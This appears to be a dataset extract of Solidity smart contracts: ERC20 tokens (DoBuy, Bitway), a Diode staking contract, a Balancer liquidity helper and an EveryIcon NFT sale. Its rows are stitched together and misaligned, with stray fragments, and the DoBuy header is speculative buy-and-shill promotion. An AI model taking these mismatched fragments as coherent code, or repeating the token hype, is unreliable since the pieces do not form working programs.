file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/** DoBuy 0% Fee on buying and selling MSN There is no dev or marketing fee. liquidity will be locked. DoBuy is a social experiment style of token. All you need to do is buy and share/shill/promote or simply talk about it. Your Xs will depend on how much you shill. There is no team or dev behind the project. We will act simply as holders. There are no socials sites for the token,community is free to make one. */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ contract DoBuy is ERC20 { uint8 immutable private _decimals = 18; uint256 private _totalSupply = 10000000000000 * 10 ** 18; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('DoBUY', 'DOBUY') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); DoBuy }
6,974,855
./partial_match/1/0x8716F20eD86CE1b9931dB53E851b62160437D13f/sources/BarnBridgeConverter.sol
uint _poolOutByAmount0 = bmul(bdiv(_amount0, _balToken0Amount), _balTotalSupply); uint _poolOutByAmount1 = bmul(bdiv(_amount1, _balToken1Amount), _balTotalSupply);
function calculateAddBptLiquidity( Balancer _balPool, address _token0, address _token1, uint256 _amount0, uint256 _amount1 ) internal view returns (uint256 _poolAmountOut) { require(_amount0 > 0 && _amount1 > 0, "Insufficient liquidity amount"); uint256 _balTotalSupply = _balPool.totalSupply(); uint256 _balToken0Amount = _balPool.getBalance(_token0); uint256 _balToken1Amount = _balPool.getBalance(_token1); uint256 _poolOutByAmount0 = bdiv(bmul(_amount0, _balTotalSupply), _balToken0Amount); uint256 _poolOutByAmount1 = bdiv(bmul(_amount1, _balTotalSupply), _balToken1Amount); return bmul(Math.min(_poolOutByAmount0, _poolOutByAmount1), 1e18 - 1e10); }
4,437,571
./full_match/5/0x06F03D79C9a1436c32CD1b71230690eca78f4F74/sources/contracts/GenesisRocket.sol
feedback for minter contracts
function checkMints(address a) external view returns(uint256){ return _mintCounter[a]; }
1,928,607
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Bitway' 'ERC20 Token' // // Name : Bitway // Symbol : BTWX // Max supply : 21m // Decimals : 18 // // Bitway "BTWX" // ---------------------------------------------------------------------------- // // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC20 Token Standard // ---------------------------------------------------------------------------- contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name, decimals and totalSupply // ---------------------------------------------------------------------------- contract Bitway is ERC20 { using SafeMath for uint; string public name = "Bitway"; string public symbol = "BTWX"; uint public totalSupply = 0; uint8 public decimals = 18; uint public RATE = 1000; uint multiplier = 10 ** uint(decimals); uint million = 10 ** 6; uint millionTokens = 1 * million * multiplier; uint constant stageTotal = 5; uint stage = 0; uint [stageTotal] targetSupply = [ 1 * millionTokens, 2 * millionTokens, 5 * millionTokens, 10 * millionTokens, 21 * millionTokens ]; address public owner; bool public completed = true; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { owner = msg.sender; supplyTokens(millionTokens); } // ------------------------------------------------------------------------ // Payable token creation // ------------------------------------------------------------------------ function () public payable { createTokens(); } // ------------------------------------------------------------------------ // Returns currentStage // ------------------------------------------------------------------------ function currentStage() public constant returns (uint) { return stage + 1; } // ------------------------------------------------------------------------ // Returns maxSupplyReached True / False // ------------------------------------------------------------------------ function maxSupplyReached() public constant returns (bool) { return stage >= stageTotal; } // ------------------------------------------------------------------------ // Token creation // ------------------------------------------------------------------------ function createTokens() public payable { require(!completed); supplyTokens(msg.value.mul((15 - stage) * RATE / 10)); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Complete token sale // ------------------------------------------------------------------------ function setComplete(bool _completed) public { require(msg.sender == owner); completed = _completed; } // ------------------------------------------------------------------------ // Check totalSupply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Create tokens and supply to msg.sender balances // ------------------------------------------------------------------------ function supplyTokens(uint tokens) private { require(!maxSupplyReached()); balances[msg.sender] = balances[msg.sender].add(tokens); totalSupply = totalSupply.add(tokens); if (totalSupply >= targetSupply[stage]) { stage += 1; } emit Transfer(address(0), msg.sender, tokens); } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
------------------------------------------------------------------------ Create tokens and supply to msg.sender balances ------------------------------------------------------------------------
function supplyTokens(uint tokens) private { require(!maxSupplyReached()); balances[msg.sender] = balances[msg.sender].add(tokens); totalSupply = totalSupply.add(tokens); if (totalSupply >= targetSupply[stage]) { stage += 1; } emit Transfer(address(0), msg.sender, tokens); } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
927,004
// Diode Contracts // Copyright 2021 Diode // Licensed under the Diode License, Version 1.0 pragma solidity ^0.6.0; import "./deps/Diode.sol"; import "./deps/Utils.sol"; import "./deps/SafeMath.sol"; import "./deps/Address.sol"; import "./FleetContract.sol"; /** * DiodeStake * * Use ether as diode token * 1 diode token is 1 ether * should we care about miner fee? * deduct stake value first? * * It's a implementation of ticket mapping version. * The gas used: * submitTraficTicket: 419392 * claimRewards: 139635 * * TODO: * 1. Split Miner Stake & Wallet * 2. Events */ library TimeLockedStake { using SafeMath for uint256; /*TEST_IF uint64 constant StakeWaitingTime = 3; /*TEST_ELSE*/ uint64 constant StakeWaitingTime = 175200; /*TEST_END*/ struct Data { uint256 pendingAmount; uint256 startTime; uint256 doneAmount; } function isLocked(Data memory dat) internal view returns(bool) { return block.number - dat.startTime < StakeWaitingTime; } function pendingValue(Data memory dat) internal view returns(uint256) { return add(dat, 0).pendingAmount; } function value(Data memory dat) internal view returns(uint256) { return add(dat, 0).doneAmount; } function add(Data memory dat, uint256 _value) internal view returns(Data memory) { if (!isLocked(dat)) { // Previous pending amount is not locked anymore // adding pending amount to done amount before making new amount pending return Data(_value, block.number, dat.doneAmount.add(dat.pendingAmount)); } else { // Reseting pending time to current block number return Data(dat.pendingAmount.add(_value), block.number, dat.doneAmount); } } function deduct(Data memory dat, uint256 _value) internal view returns(Data memory ret) { ret = add(dat, 0); require(ret.doneAmount >= _value, "Insufficent funds to deduct"); ret.doneAmount = ret.doneAmount - _value; } } library Stake { using SafeMath for uint256; using TimeLockedStake for TimeLockedStake.Data; struct Data { TimeLockedStake.Data staked; TimeLockedStake.Data unstaked; } function addStake(Data memory dat, uint256 _stake) internal view returns(Data memory) { dat.staked = dat.staked.add(_stake); return dat; } // This function skips the time lock - is used for added stake from mining function addStakeNow(Data memory dat, uint256 _stake) internal pure returns(Data memory) { dat.staked.doneAmount = dat.staked.doneAmount.add(_stake); return dat; } /* Stake runs through the four phases: * 1. Pending (for StakeWaitingTime) * 2. Staked * 3. Locked (for stakeWaiting Time) * 4. Claimable */ function pendingValue(Data memory dat) internal view returns(uint256) { return dat.staked.pendingValue(); } function stakedValue(Data memory dat) internal view returns(uint256) { return dat.staked.value(); } function lockedValue(Data memory dat) internal view returns(uint256) { return dat.unstaked.pendingValue(); } function claimableValue(Data memory dat) internal view returns(uint256) { return dat.unstaked.value(); } function subStake(Data memory dat, uint256 _stake) internal view returns(Data memory) { require(dat.staked.value() >= _stake, "Can't unstake more than is staked"); dat.staked = dat.staked.deduct(_stake); dat.unstaked = dat.unstaked.add(_stake); return dat; } function claimStake(Data memory dat, uint256 _stake) internal view returns(Data memory) { require(dat.unstaked.value() >= _stake, "Insufficent free stake"); dat.unstaked = dat.unstaked.deduct(_stake); return dat; } } contract DiodeStake { using Stake for Stake.Data; using SafeMath for uint256; address private _reserved_1; address private _reserved_2; uint256 public stakeCount; uint256 public unstakeCount; mapping(address => FleetContract) public _reserved_3; mapping(address => Stake.Data) private minerStake; mapping(address => Stake.Data) private contractStake; function _contractStake(FleetContract _fleet) internal view returns (Stake.Data memory) { return contractStake[address(_fleet)]; } event Staked( bool indexed isContract, address indexed target, uint256 indexed amount ); event Unstaked( bool indexed isContract, address indexed target, uint256 indexed amount ); event Withdrawn( bool indexed isContract, address indexed target, uint256 indexed amount ); constructor() public { } modifier onlyAccountant(FleetContract _fleet) { if (!Address.isContract(address(_fleet))) revert("Invalid fleet contract address"); address contractAccountant = _fleet.Accountant(); if (contractAccountant != msg.sender) revert("Only the fleet accountant can do this"); _; } function ContractValue(uint8 pending, FleetContract _fleet) public view returns (uint256) { if (pending == 0) return _contractStake(_fleet).stakedValue(); else if (pending == 1) return _contractStake(_fleet).pendingValue(); else if (pending == 2) return _contractStake(_fleet).lockedValue(); else if (pending == 3) return _contractStake(_fleet).claimableValue(); revert("Unhandled argument"); } function ContractStake(FleetContract _fleet) public payable onlyAccountant(_fleet) { contractStake[address(_fleet)] = _contractStake(_fleet).addStake(msg.value); emit Staked(true, address(_fleet), msg.value); } function _contractValue(FleetContract _fleet) internal view returns(uint256) { return _contractStake(_fleet).stakedValue(); } function ContractUnstake(FleetContract _fleet, uint256 _value) public onlyAccountant(_fleet) { contractStake[address(_fleet)] = _contractStake(_fleet).subStake(_value); emit Unstaked(true, address(_fleet), _value); } function ContractWithdraw(FleetContract _fleet) public onlyAccountant(_fleet) { address payable contractAccountant = _fleet.Accountant(); Stake.Data memory stake = _contractStake(_fleet); uint256 _value = stake.claimableValue(); require(_value > 0, "Can't withdraw 0"); contractStake[address(_fleet)] = stake.claimStake(_value); contractAccountant.transfer(_value); emit Withdrawn(true, address(_fleet), _value); } function MinerValue(uint8 pending, address miner) public view returns (uint256) { return _miner(pending, miner); } function _miner(uint8 pending, address miner) internal view returns (uint256) { if (pending == 0) return minerStake[miner].stakedValue(); else if (pending == 1) return minerStake[miner].pendingValue(); else if (pending == 2) return minerStake[miner].lockedValue(); else if (pending == 3) return minerStake[miner].claimableValue(); revert("Unhandled argument"); } function MinerStake() public payable { _minerStake(msg.sender, msg.value); } function _minerStake(address miner, uint256 _value) internal { minerStake[miner] = minerStake[miner].addStake(_value); emit Staked(false, miner, _value); } function _minerStakeNow(address miner, uint256 _value) internal { minerStake[miner] = minerStake[miner].addStakeNow(_value); } function MinerUnstake(uint256 _value) public { address miner = msg.sender; minerStake[miner] = minerStake[miner].subStake(_value); emit Unstaked(false, miner, _value); } function MinerWithdraw() public { address payable miner = msg.sender; Stake.Data memory stake = minerStake[miner]; uint256 _value = stake.claimableValue(); require(_value > 0, "Can't withdraw 0"); minerStake[miner] = stake.claimStake(_value); miner.transfer(_value); emit Withdrawn(false, miner, _value); } }
This function skips the time lock - is used for added stake from mining
function addStakeNow(Data memory dat, uint256 _stake) internal pure returns(Data memory) { dat.staked.doneAmount = dat.staked.doneAmount.add(_stake); return dat; }
6,347,447
./full_match/11155111/0xFCc8a75ab4e55E1E9c3d8d1A8d833CB7BF45F5B7/sources/_ganache/console.log/console.sol
Prints to `stdout` with newline. Multiple arguments can be passed, with the first used as the primary message and all additional used as substitution ```solidity uint256 count = 5; console.log('count: %d', count); console.log('count:', count); ``` See `util.format()` for more information./
function log(string memory value1, address value2, string memory value3, address value4) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", value1, value2, value3, value4)); }
3,821,397
// SPDX-License-Identifier: UNLICENCED // Implementation Copyright 2021, the author; All rights reserved // // This contract is an on-chain implementation of a concept created and // developed by John F Simon Jr in partnership with e•a•t•works and // @fingerprintsDAO pragma solidity 0.8.10; import "./EveryIconLib.sol"; import "base64-sol/base64.sol"; import "@divergencetech/ethier/contracts/erc721/ERC721CommonEnumerable.sol"; import "@divergencetech/ethier/contracts/sales/LinearDutchAuction.sol"; import "@divergencetech/ethier/contracts/utils/DynamicBuffer.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /// @title Every Icon /// @author @divergenceharri (@divergence_art) contract EveryIcon is ERC721CommonEnumerable, LinearDutchAuction { using DynamicBuffer for bytes; using EveryIconLib for EveryIconLib.Repository; using Strings for uint256; /// @notice Contracts containing base icons from which designs are built. EveryIconLib.Repository private repo; constructor( string memory name, string memory symbol, EveryIconLib.Repository memory repo_, address[] memory payees, uint256[] memory shares ) ERC721CommonEnumerable(name, symbol) LinearDutchAuction( LinearDutchAuction.DutchAuctionConfig({ startPoint: 0, // disabled upon deployment startPrice: 5.12 ether, unit: AuctionIntervalUnit.Time, decreaseInterval: 300, // 5 minutes decreaseSize: 0.128 ether, numDecreases: 36 }), 0.512 ether, Seller.SellerConfig({ totalInventory: 512, maxPerAddress: 0, // unlimited maxPerTx: 1, freeQuota: 42, reserveFreeQuota: true, lockTotalInventory: true, lockFreeQuota: true }), payable(0) ) { setRepository(repo_); setBeneficiary(payable(new PaymentSplitter(payees, shares))); } /**** TOKEN AND SALES CONTROLS ****/ /// @dev The current cost of a single mint can be fetched with cost(1). function buy() external payable { Seller._purchase(msg.sender, 1); } /// @dev Flag to signal permanent locking of the icon repository. bool public repositoryLocked; /// @dev Require that icon repository isn't locked yet. modifier repositoryUnlocked() { require(!repositoryLocked, "Repository locked"); _; } /// @dev Sets addresses of icon-repository contracts. function setRepository(EveryIconLib.Repository memory repo_) public onlyOwner repositoryUnlocked { repo = repo_; } /// @dev Permanently locks the icon repository addresses. function lockRepository() external onlyOwner repositoryUnlocked { repositoryLocked = true; } /// @dev Base URI for returning iframe address in tokenURI(). string public animationURIBase; /// @dev Sets current animationURIBase. function setAnimationURIBase(string memory base) external onlyOwner { animationURIBase = base; } /// @notice Hash of transaction in which front-end code is archived for /// on-chain provenance. bytes32 public codeStorageTxHash; /// @dev Sets codeStorageTxHash for front-code archival. function setCodeStorageTxHash(bytes32 txHash) external onlyOwner { codeStorageTxHash = txHash; } /// @notice Returns metadata as a JSON-encoded data URI. function tokenURI(uint256 tokenId) public view override returns (string memory) { bytes memory buf = DynamicBuffer.allocate(2**16); bytes memory tokenIdStr = bytes(tokenId.toString()); buf.appendSafe("{"); buf.appendSafe('"name":"Every Icon #'); buf.appendSafe(tokenIdStr); buf.appendSafe('","image":"data:image/svg+xml,'); buf.appendSafe(renderSVG(tokenId, 0)); buf.appendSafe('","animation_url":"'); buf.appendSafe(bytes(animationURIBase)); buf.appendSafe(tokenIdStr); buf.appendSafe('"}'); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode(buf) ) ); } /// @dev Required override for LinearDutchAuction's underlying Seller; /// effectively the minting function. function _handlePurchase( address to, uint256 num, bool ) internal override { for (uint256 i = 0; i < num; i++) { _safeMint(to, totalSupply()); EveryIconLib.Token memory token; token.combMethod = INVALID_COMB_METHOD; tokens.push(token); mintingBlocks.push( uint32(block.number & EveryIconLib.MINTING_BLOCK_MASK) ); } } /**** EVERY ICON-SPECIFIC FUNCTIONS ****/ /// @notice Metadata describing every token's icon. The block in which a /// token is minted is also encoded in the image. EveryIconLib.Token[] public tokens; uint32[] public mintingBlocks; /// @notice Used to identify an unset EveryIconLib.Token. All new instances /// have this value. uint8 private constant INVALID_COMB_METHOD = 255; /// @notice Checks whether a token has already had its icon set by the owner function iconIsSet(uint256 tokenId) public view returns (bool) { return tokens[tokenId].combMethod != INVALID_COMB_METHOD; } /// @notice Time from which the front-end "ticks" icons. If an icon design /// isn't set by a collector within the allowed window, a random token is /// used and defaultSettingTime replaces iconSettingTimes. mapping(uint256 => uint256) public iconSettingTimes; uint256 defaultSettingTime; /// @notice Closes the window for token owners to set their own icons. After /// this point, unset tokens will be randomly allocated icons. function closeIconSettingWindow() public onlyOwner { defaultSettingTime = block.timestamp; } /// @notice Sets the 'starting icon'. This is only available if it has not /// already been set (either by the owner, or automatically by the contract /// when the setting window closed). function setIcon(uint256 tokenId, EveryIconLib.Token memory token) public whenNotPaused onlyApprovedOrOwner(tokenId) { require(!iconIsSet(tokenId), "Icon already set"); require(defaultSettingTime == 0, "Icon randomly set"); require(token.designIcon0 < 100, "Design icon 0 invalid"); require(token.designIcon1 < 100, "Design icon 1 invalid"); require(token.designIcon0 != token.designIcon1, "Repeated design icon"); require(token.randIcon < 28, "Random icon invalid"); require(token.combMethod < 3, "Combination method invalid"); tokens[tokenId] = token; iconSettingTimes[tokenId] = block.timestamp; } /// @notice Default icon to show in thumbnails before a design is set. The /// actual icon has first and last words set to 0. uint256[2] private defaultIcon = [ 18609191942226762260243923200536250640, 1923275577535336623121870409490058871001437930765964941608582343745444249600 ]; /// @notice Returns data required to render an icon in the browser. /// @return icon Bit-wise representation of the token. /// @return iconSettingTime The time from which the icon ticks, if non-zero. /// Zero value indicates the token is a placeholder function iconData(uint256 tokenId, uint256 ticks) public view returns (uint256[4] memory icon, uint256 iconSettingTime) { if (!iconIsSet(tokenId) && defaultSettingTime == 0) { icon[1] = defaultIcon[0]; icon[2] = defaultIcon[1]; return (icon, iconSettingTime); } EveryIconLib.Token memory token; if (iconIsSet(tokenId) == true) { token = tokens[tokenId]; iconSettingTime = iconSettingTimes[tokenId]; } else { token = EveryIconLib.randomToken(tokenId, mintingBlocks[tokenId]); iconSettingTime = defaultSettingTime; } icon = repo.startingBits(token, mintingBlocks[tokenId], ticks); return (icon, iconSettingTime); } /// @notice Ticks per second, as used by peekSVG. uint8 constant TICKS_PER_SECOND = 100; /// @notice Returns an SVG of the icon as it would be at the moment the function /// was called, having 'ticked' ever since being set at the rate TICKS_PER_SECOND function peekSVG(uint256 tokenId) external view returns (bytes memory) { uint256 startTime = iconIsSet(tokenId) ? iconSettingTimes[tokenId] : defaultSettingTime; return renderSVG( tokenId, (block.timestamp - startTime) * TICKS_PER_SECOND ); } /// @notice Returns static SVG for a particular token. This is used for thumbnails /// and in the OpenSea listing, before the viewer clicks into the animated version of /// a piece function renderSVG(uint256 tokenId, uint256 ticks) public view returns (bytes memory) { (uint256[4] memory icon, ) = iconData(tokenId, ticks); return EveryIconLib.renderSVG(icon); } } // SPDX-License-Identifier: UNLICENCED // Copyright 2021; All rights reserved // Author: @divergenceharri (@divergence_art) pragma solidity 